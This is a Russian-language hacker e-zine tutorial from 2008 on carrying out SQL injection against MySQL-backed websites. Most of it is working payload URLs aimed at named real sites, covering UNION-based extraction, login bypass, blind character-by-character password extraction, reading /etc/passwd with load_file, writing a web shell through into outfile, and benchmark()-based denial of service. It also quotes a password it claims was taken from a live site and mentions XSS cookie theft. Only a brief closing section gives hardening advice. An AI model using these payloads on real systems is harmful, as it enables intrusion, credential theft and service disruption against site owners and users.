The Gray Brotherhood Community

Содержание

Как провести грамотную sql-инъекцию (в сервере mysql).

Я постараюсь вкратце, доступным языком описать основные ходы sql-инъекции. Буду описывать с самого распространенного сервера баз данных – MySQL. Помимо него есть и другие сервера. Сказать что MySQL-сервер лучший – нет, не скажу. Скажу что он самый простой и главное – бесплатный, а потому – самый распространённый. Инъекция под другие сервера очень похожа. Просто нужно учитывать особенности sql-запросов. Синтаксис может малька отличаться, ну и другие фишки. Подробно описывать не буду. Если появится время, напишу ещё пару-тройку статей про инъекции, а может не только про них. И так, поехали:

-Предисловие
-Обнаружение уязвимости
-Вывод ошибок отключён
-Про что часто забывают новички (скобки)
-Комментарии?
-Что делать дальше?
-Упс, фильтры стоят
-Выводится мало символов
-Определяем версию
-Эх, старая версия MySQL (3.x)
-Авторизуемся не зная пароля?
-Вообще нифига не выводится (слепая инъекция)
-А мы можем задосить
-Зальём шелл?
-XSS и SQL-инъекция. Совместим?
-Защищайся, сударь!
-Послесловие

Предисловие

Начнём с самого главного. Чтобы провести sql-инъекцию, ты должен знать язык sql. Пусть не в идеале. Если ты его не знаешь, то марш учить, всё равно ни черта не поймёшь!
Sql-инъекция хороша тем, что эта уязвимость не связана с каким-либо языком программирования. Она может быть проведена как в php так и в asp и pl скриптах. Даже можно её провести в каком-нибудь приложении. Которое работает с базой данных. Скажу ещё, что тебе нужно изучить структуру БД, которую ты ломаешь. Я про таблицы с конфигами сервера. Из них можно много чего полезного почерпать! А ещё пускай в ход разные функции, такие как limit. На этом предисловие оконено.

Обнаружение уязвимости

Что мы должны делать попадя на сайт? А всё просто. Мы должны спровоцировать ошибку. Например, если запрос выглядит так: id=12, то мы сделаем так id=12s и id=’. Приведём живой пример:
_http://www.flashalert.net/news.html?id=666
Выводится какая-то страница. Этот сайт я нашёл чисто для этой статьи.
А мы передадим такую:
_http://www.flashalert.net/news.html?id=666’
И на экране засветилась надпись ошибки:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /www/htroots/0/245/htdocs/flashalert/news.html on line 40
Не стоит забывать, что вывод ошибки – это не всегда удача для хакера! Бывают случаи, когда ошибка выводится, а инъекцию произвести не удаётся. Не забывайте, что потенциально опасны все параметры, которые переходят от юзера (от тебя) к серверу. Провоцируйте ошибки не только в GET, но и в POST и в COOKIE параметрах!

Вывод ошибок отключён

А теперь посмотрим на другой сайт:
_http://www.rmdb.ru/?movie&id=1
На экране вывелась страничка с названием фильма. Поставим кавычку:
_http://www.rmdb.ru/?movie&id=1’
Название фильма исчезло, но и ошибок нет. Во бля… Что делать, спросишь ты! А я, типа умный, отвечу – не парься, возможно там есть уязвимость, просто вывод ошибок отключён!
А ведь правда, когда делаем такой запрос:
_http://www.rmdb.ru/?movie&id=1+and+1=1
то загружается страница. Ну всё тоже самое, что и в этом случае:
_http://www.rmdb.ru/?movie&id=1
А если мы изменим 1 цифру в запросе, то на экран выведется совсем другое:
_http://www.rmdb.ru/?movie&id=1+and+1=2
А почему, спросишь ты тупо. А потому, что 1 не равен двум. Мы спровоцировали логическую ошибку!
В то время как
_http://www.rmdb.ru/?movie&id=2-1
тоже самое что и
_http://www.rmdb.ru/?movie&id=1
Потому что 2-1=1. Математика, бля.

Про что часто забывают новички (скобки)

А прикинь, что если полный запрос выглядит так:
Select * from news where (news.id=5 or news.author=’chlen’) and news.year=98
А инъекция будет тут:
news.id=5
мы видим, что инъекция будет внутри скобок. Значит нам нужно закрыть эти скобки! Гениально, правда?
А чтобы понять, сколько открытых скобок, мы будем делать такие запросы:
_http://www.animemagazine.ru/catalog/index.php?idk=1+and+1=1
Так, ошибок нет. А что если мы ещё такой сделаем:
_http://www.animemagazine.ru/catalog/index.php?idk=1)+and+(1=1
Странно, опять нет ошибок (хоть ошибки и не выводятся, мы понимаем по содержанию страницы, что ошибки нет)
А если так:
_http://www.animemagazine.ru/catalog/index.php?idk=1))+and+((1=1
О! так лучше. Видим, что произошла какая-то ошибка – страница изменила свой вид. Из этого мы сделаем вывод, что есть 1 открытая скобка и закроем её.
_http://www.animemagazine.ru/catalog/index.php?idk=-1)/*

Комментарии?

Ты заметил в конце запроса /* ? Это означает, что запрос, который дописан в скрипте будет читаться как комментарий. Можно ещё использовать нуль-байт, если есть возможность: %00.
_http://www.animemagazine.ru/catalog/index.php?idk=-1)%00
В mysql базах данных можно комментарий не закрывать. Но это не значит, что и в других СУБД тоже так!

Что делать дальше?

Помнишь конcтрукцию union? Хорошо, что помнишь! Она нам сейчас понадобится! Нам нужно подобрать количество столбцов. Подбирать можно так:
_http://www.rmdb.ru/?movie&id=-1+union+select+1/*
не то
_http://www.rmdb.ru/?movie&id=-1+union+select+1,2/*
не то
_http://www.rmdb.ru/?movie&id=-1+union+select+1,2,3/*
О! то!

А можно с помощью конструкции group by.
Почему мы передали в качестве параметра -1? А потому, что логически подумать, такого идентификатора в БД нет, а значит ни какой «мусор» не отобразится, а только то, что нам нужно. Можно ещё какой-нибудь такой:
Id=99999
А что мы словили с нашего запроса? Ну, какие-то цифры на экран вывелись, ну и что.
Эти цифры – это столбцы, которые выводятся на экран. Они-то нам и нужны.
Мы уже на пути к успеху! Теперь нужно подобрать имя таблицы. Для этого есть разные софтины и скрипты. А можно и вручную. (не стоит забывать о таблицах самой базы данных, например о mysql.user). Примеры:
_http://www.astralpole.org/display.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/*


Обычно перебирают такие имена как: users, admin, profiles…
_http://www.kinder.by/consultant/qa/read.php?topicid=-1+union+select+1,2,3,4,5+from+profiles/*
Когда подобрали нужную нам таблицу, нужно подобрать имя столбца! (скажу по секрету, имена столбцов часто совпадают с именами input-полей в html-коде).
Но можно и подробнее узнать о сервере БД.
_http://www.voina-i-mir.ru/dicchapter/?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6


Concat_ws() – классная функция. Она нам помогает. Ну, с ней удобно вобщем. Она объединяет в одну строку несколько строк, а символ 0x3a – это разделитель. В данном случае «:».

Упс, фильтры стоят

Мы можем сделать так:
_http://www.lyapis.com/photo.php?cl=-1+union+select+1,2,3,4,'HaCkEd+By+OpIuM'
И увидим надпись HaCkEd By OpIuM на странице.


А почему на одних страницах такое прокатывает, а на других нет? – спросишь ты опять. А потому что там могут экранизироваться кавычки слешами. Например было так: ‘hack’, а стало так: \‘hack\’ . В этом случае строку нужно закодировать. Нужно указать каждый символ в виде числа (кода символа). Во многих языках программирования делается это функцией ord(). Было слово her, а стало 104,101,114. В запрос нужно подставлять так: char(104,101,114).


А ещё могут фильтроваться пробелы или даже слова! С пробелами, нам могут помочь те же самые комментарии. Нужно представлять запросы такими:
_http://www.rmdb.ru/?movie&id=-1/**/union/**/select/**/1,2,3/*
Кстати, если ты не в догонке, почему у меня стоят плюсики там, где должны стоять пробелы, то осведомлю: плюсик – это урл-кодированный пробел. На мой взгляд более читабельно с плюсиками, чем с %20.
Если ты заметил, что какие-то элементы вырезаются, то это тоже иногда можно обойти. Например, если фильтруется слово select, то можно попробовать SeLeCt или selselectect.

Выводится мало символов

Иногда бывает, что нужно вытянуть длинный md5-хеш пароля, который длинной 32 символа, а на экран выводится только 30 символов. Что делать? ААА! Паника! Два символа! Бляяяяяяя!... Да член с ними, с символами. Есть же такая крутая функция, как substring(). Выглядит она так: substring(‘Bugaga’,1,3).
Bugaga – это название столбца, например. Циферки 1,3 означают, что выведется строка с первого символа по третий. Так можно по кускам достать Длинный хеш пароля. А вообще, чтобы не трахать себе мозг, выбирай те поля, в которых выводится достаточное количество символов. Ну а если таких нет, то этот способ тебе необходим. Скажу ещё, что такое встречается довольно редко.

Определяем версию

Есть много способов определить версию mysql, я опишу лишь один. Когда нашёл инъекцию, вторым делом определяешь версию. Первым делом закрываешь открытые скобки. Мой любимый и самый привычный для меня способ определения версии – это способ с теми же комментариями. В mysql встроена одна фишка, для совметимости старых версий с новыми. Выглядит она так: /*!40000 */. Это не простой комментарий! Это комментарий, который будет считаться комментарием в том случае, если версия mysql меньше четвёртой. Сечёшь? Можно создавать запросики такого вида:
?id=1/*!30000+and+1=2*/
?id=1/*!40000+and+1=2*/
?id=1/*!50000+and+1=2*/
?id=1/*!41000+and+1=2*/
?id=1/*!42000+and+1=2*/
?id=1/*!43000+and+1=2*/
?id=1/*!43100+and+1=2*/
В первом случае код в комментарии выполнится, значит версия выше третей. И во втором случае тоже выполнился, а вот в третьем случае не выполнился, значит версия ниже пятой, то бишь четвёртая. Таким методом можно узнать версию с точностью, что в принципе и не нужно.

Эх, старая версия MySQL (3.x)

Многие новички бьются головой об монитор, не понимая, в чём дело. Вроде все скобки закрыл. Открытый знак комментария в конце. 2-1=1. Ну всё показывает на наличие инъекции. А проблема может быть в том, что версия MySQL старенькая. А в старенькой версии нет такой функции как union. Ага! Попался хакер! Уязвимость есть, но не можешь ей воспользоваться? На самом деле ей можно воспользоваться, хоть это и мало где описано. Да большинство хакеров (в том числе и я) когда видят старую версию сразу закрывают браузер, потому что дальнейшие действия - полный геморрой. Ну уж если очень приспичит, то можно. Для начала, узнаем какие имена столбцов в БД. Для этого будем применять конструкцию такого вида: ?id=1+and+login=login/* Ты конечно догнал, что если ошибки не будет (хоть она может и не выводиться), то столбец с именем login правда существует. Ну а если будет ошибка, то продолжай перебор дальше. Ещё можно вырываться в другую таблицу так ?id=1+and+users.login=users.login/*, где users – имя таблицы. Едем дальше. Как вывести на экран пароль? Тут самое сложное… Хотя нет, вовсе не сложно, но самое скучное. Помнишь функцию like? Она нужна для осуществления поиска по БД. Есть такая фишка, что если не знаешь слово полностью, то можно найти его, зная лишь часть или хотя бы 1 букву. Для того чтобы найти слово по 1 букве, нужно использовать знак %. Например, тебе нужно найти слово gamburger. Ты можешь использовать функцию like следующим образом: like+’g%’. Все слова, которые начинаются с буквы g найдутся. Можешь даже так: like+’gam%’, и найдётся все слова, которые начинаются на gam. А если ты знаешь длину слова, то можешь так: like+’gamb_____’. Каждый неизвестный символ заменяется знаком подчёркивания «_». Как это нам поможет? А вот так: ?id=1+and+users.login+like+’q%’/*. Если ошибку не вернуло, знаит пароль начинается с буквы q. Если ошибка значит нужно подставлять другой символ до тех пор, пока не исчезнет ошибка. Когда подобрал 1 символ, переходи к другому:
?id=1+and+users.login+like+’q%’/* - нет ошибки
?id=1+and+users.login+like+’qq%’/* - ошибка
?id=1+and+users.login+like+’qw%’/* - нет ошибки
?id=1+and+users.login+like+’qwq%’/* - ошибка
?id=1+and+users.login+like+’qww%’/* - ошибка
?id=1+and+users.login+like+’qwe%’/* - нет ошибки.
Так посимвольно можно подобрать пароль, ну или что ты там хочешь подобрать… В общем инфу вытянуть. Можно узнать количество символов в слове, что мы вытягиваем. Тут нам поможет знак подчёркивания:
?id=1+and+users.login+like+’q_’/* - нет ошибки
?id=1+and+users.login+like+’q__’/* - нет ошибки
?id=1+and+users.login+like+’q___’/* - нет ошибки
?id=1+and+users.login+like+’q____’/* - нет ошибки
?id=1+and+users.login+like+’q_____’/* - нет ошибки
?id=1+and+users.login+like+’q______’/* - есть ошибка
Значит в слове 6 символов. Конечно можно и другими способами подбирать, но я их описывать не буду, так как этот самый нормальный.

Авторизуемся не зная пароля?

А можно даже авторизоваться не зная пароля с помощью sql-инъекции. Предположим, что на сайте такой запрос:
Select access from users where username=’$name’ and password=’$pass’
Параметр $name не фильтруется. Тут не сложно логически догнать, что в поле ввода логина нужно ввести login’ or 1=1/*, где login – реальный логин юзера. Так мы пройдём авторизацию. А пройдем потому, что получится следующий запрос:
Select access from users where username=’ login’ or 1=1/* and password=’$pass’
Говоря человеческим языком получится:
Выбрать права из таблицы юзерс, где логин будет login или 1 равно 1. А дальше запрос съедает открытый комментарий (/*). 1=1? Равно, а значит авторизация пройдена.
Ты конечно понимаешь, что может быть уязвимо поле пароля или домена (если это почтовик). Так что подставлять мусор нужно во все поля, передаваемые на скрипт авторизации, в том числе в скрытые, выпадающие списки и т.д. Нужно учитывать, что там может быть раскрытая скобка или несколько. Что вводимые данные могут быть обрамлены кавычками. Эксперементируйте!

Вообще нифига не выводится (слепая инъекция)

А ведь бывает такое, что инъекция есть а на экран нихрена не выводится. В этом случае нужно набраться терпения. Эта инъекция называется blind sql-injection. Сразу скажу, что для этого вообще нужно отдельную статью писать – слишком уж много фишек. Но я объясню поверхностно, а дальше – дело твоей фантазии. Конечно же ты знаешь про функции ascii(), substring(). Про подзапросы ты тоже знаешь. А если нет, то гоу читать про эту дрянь.
И так. Сайта со слепой инъекцией специально для статьи я не нашёл. Что ж. Придётся нам сделать вид, что мы не видим, что что-то выводится на странице ?. Показывать буду на примере kinder.by. Отправив на сервер запрос такого вида:
_http://www.kinder.by/consultant/qa/read.php?topicid=-1+union+select+1,2,3,passwd,5+from+profiles+where+id=1144017647/*
мы получили ekmnbvfnev – чей-то пароль. А теперь представим, что высветилась пустая страница. Ну вобщем слепая инъекция. Названия столбцов, таблиц мы подбираем точно так же как и я описывал в случае MySQL (3.x). А теперь составим такой запрос:
_http://www.kinder.by/consultant/qa/read.php?topicid=-1+union+select+1,2,3,passwd,5+from+profiles+where+id=1144017647+and+100=ascii((select+substring(passwd,1,1)))/* и он вернул ошибку. 100 – это код первого символа пароля. Если код первого символа не равен 100, значит вылетит ошибка, а если равен 100, значит ошибки не будет и мы можем утверждать, что первый символ – d (символ с кодом 100). Раз 100 у нас не прокатило, значит ставим 101 (на самом деле нужно начинать не со 100, это я для примера):
_http://www.kinder.by/consultant/qa/read.php?topicid=-1+union+select+1,2,3,passwd,5+from+profiles+where+id=1144017647+and+101=ascii((select+substring(passwd,1,1)))/* и ошибки нет. Значит первый символ – e. Так манипулируя функцией substring() иы подберём все символы. И скажу вом такую мазу: не забывайте про функцию between – она уменьшит вам работы. А ещё бывает, что нужно использовать функцию benckmark(), засикать время и смотреть на реакцию сервера. Но это другая длинная история, которую ты можешь найти в гугле.

А мы можем задосить

Ты конечно знаешь, что DoS-атака (Denial of Service) – это атака, направленная на отказ в обслуживании. Проще говоря, с её помощью мы подвешиваем сервер. Память заполняется из-за большого количества тяжелых действий и сайт перестаёт работать. Как пример – открой штук 10 окон поиска на своём компе и запусти. Пусть что-нибудь ищут. Комп начнёт тормозить. А может даже зависнет. Скажу сразу, что я против такого рода атак. Это слишком скучно, просто и вредительски, но я про них расскажу, для полного комплекта, как говорится. Из выше рассказанного понятно, что нужно выполнять какие-нибудь действия, которые отнимают много ресурсов на серваке. Ну, проще говоря, какие-нибудь циклы, которые загрузят сервер. Специально для этого есть функция benckmark(). Синтаксис её следующий (на примере): benckmark(15,current_time), что проще говоря, 15 раз выполнить функцию current_time. А ведь можно и не 15 раз, а, к примеру, 1000000 раз. Загрузит это сервер? А можно даже ещё круче – со вложенными функциями: benckmark(1000000, benckmark(1000000,md5(current_time))). Тут 1000000 раз выполнится по 1000000 раз зашифровывангие текущей даты в md5. А вот если такой процесс осуществить несколько раз, а ещё лучше – зациклить, тогда уж сервер пойдёт в далёкую попу, выполняя эти запросы.

Зальём шелл?

А сейчас я опишу одну из опаснейших фишек для сервера и одну из приятнейших – для хакера. При удачном стечении обстоятельств, через sql-injection можно залить шелл. Эти удачные обстоятельства зависят от настроек сервера, ведь не секрет, что с плохой настройкой можно захватить mysql сервер даже без инъекции (если пароль будет пустым и коннект разрешён с любого адреса) и наоборот – с хорошей, тонкой настройкой может не получиться захватить сервер даже при наличии инъекции. Если в mysql разрешена работа с файлами (File_priv=’Y’) – то скорее всего можно утверждать, что сайт легко взломать. Маза в том, что в таком случае файлы можно и читать и создавать на сервере. Но есть одно НО! Нужно знать путь относительно корня сервера. Этот путь можно подобрать наугад, ну или посмотреть в выведенных ошибках. Есть ещё одна хитрость: если нет ошибок, раскрывающих пути на сервере, то нужно создать запрос в поисковике (в гугле например) на поиск этой ошибки. Может она когда-то была и проиндексировалась поисковиком. А запрос на прочтение файлов может выглядеть так: ?id=1+union+select+1,load_file('/etc/passwd'),3+from+mysql.user/*


В этом случае выведется на экран файл /etc/passwd, который существует на *nix операционках. Не забывай, что если кавычки экранизируются, то текст всегда можно закодировать: LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)).
А теперь научимся заливать шелл. В этом нам поможет функция into outfile. Приведу пример:
?id=-1+union+select+1,'',3+from+mysql.user+into+outfile+'/home/site/bunners/shell.php'.
Папка bunners выбрана не случайно! Нужно найти папку с правами на запись. Это может быть папка с загрузками юзера, с аватарами, картинками. Подумай логически, какая это может быть папка. При этом не обязательно знать имя таблицы! А пишут часто, что обязательно… хз или я тупой, но у меня прокатывало и не зная имени. То есть запрос может быть таким:
?id=-1+union+select+1,'',3+into+outfile+'/home/site/bunners/shell.php'.
НО! Опять огромное НО! Так делать нельзя: into outfile CHAR(47,104,111,109,101,47,115,105,116,101,47,98,117,110,110,101,114,115,47,115,104,101,108,108,46,112,104,112). После into outfile нельзя кодировать символы! Работать не будет. Неудобно, но ничего не поделаешь.

XSS и SQL-инъекция. Совместим?

Бывает такое, что инъекция нам мало что даёт. Например, в БД нет нужной нам инфы, работа с файлами отключена. Или сервер грамотно настроен, что нет возможности стянуть пароли. В этом случае мы можем создать пассивную xss и своровать cookie. Делается это легко:
?id=-1+union+select+1,’’,3/*.


Не забываем, что js-скрипт можно закодировать. На этом заостряться не буду. Так как xss – совсем другая история.

Защищайся, сударь!

Самое главное, что я могу сказать про защиту – так это защита на уровне скрипта. Отфильтровывай все параметры, пришедшие от юзеров. Также важна правильная настройка mysql сервера, особенно, если над проектом работает не 1 программист (следить за безопасностью становится сложно). Напишу 5, на мой взгляд, важнейших правил по настройке:
1. Не используй БД из под рута, установи сложный пароль.
2. Создай пользователя с минимальными правами.
3. Логины\пароли пусть будут доступны по одной учётке, а всё остальное – по другой.
4. По возможности отключи работу с файлами.
5. Запрети коннект с левых адресов.
Видишь, как просто оградить себя от беды? Дерзай!

Послесловие

Возможно я что-то забыл, про что-то не рассказал, про что-то не знал, но помоему я расписал самое важное, что нужно знать для проведения грамотной sql-инъекции. А если у тебя хватило терпения прочесть её и сделать для себя какие-то пометки, надеюсь, что тебе эта инфа пригодится. Я старался для тебя, но это не значит, что нужно терроризировать мою аську с вопросами – меня и так все достали.
И в заключение хочу сказать, что эта статья может размещаться на сайтах только с разрешения автора.

Дополнительные материалы к статье:
1). Обнаружение уязвимости.swf
2). Обнаружение уязвимости без выода ошибок.swf
3). Проверяем сколько раскрытых скобок.swf
4). Определяем версию mysql.swf
5). Подбираем количество столбцов.swf
6). Обходим фильтр.swf
7). Авторизация без пароля.swf
8). Слепая инъекция.swf

Specially for TGBR E-ZinoS #2 & xakepy.ru
writed by opium 2008
icq: 8088036

Содержание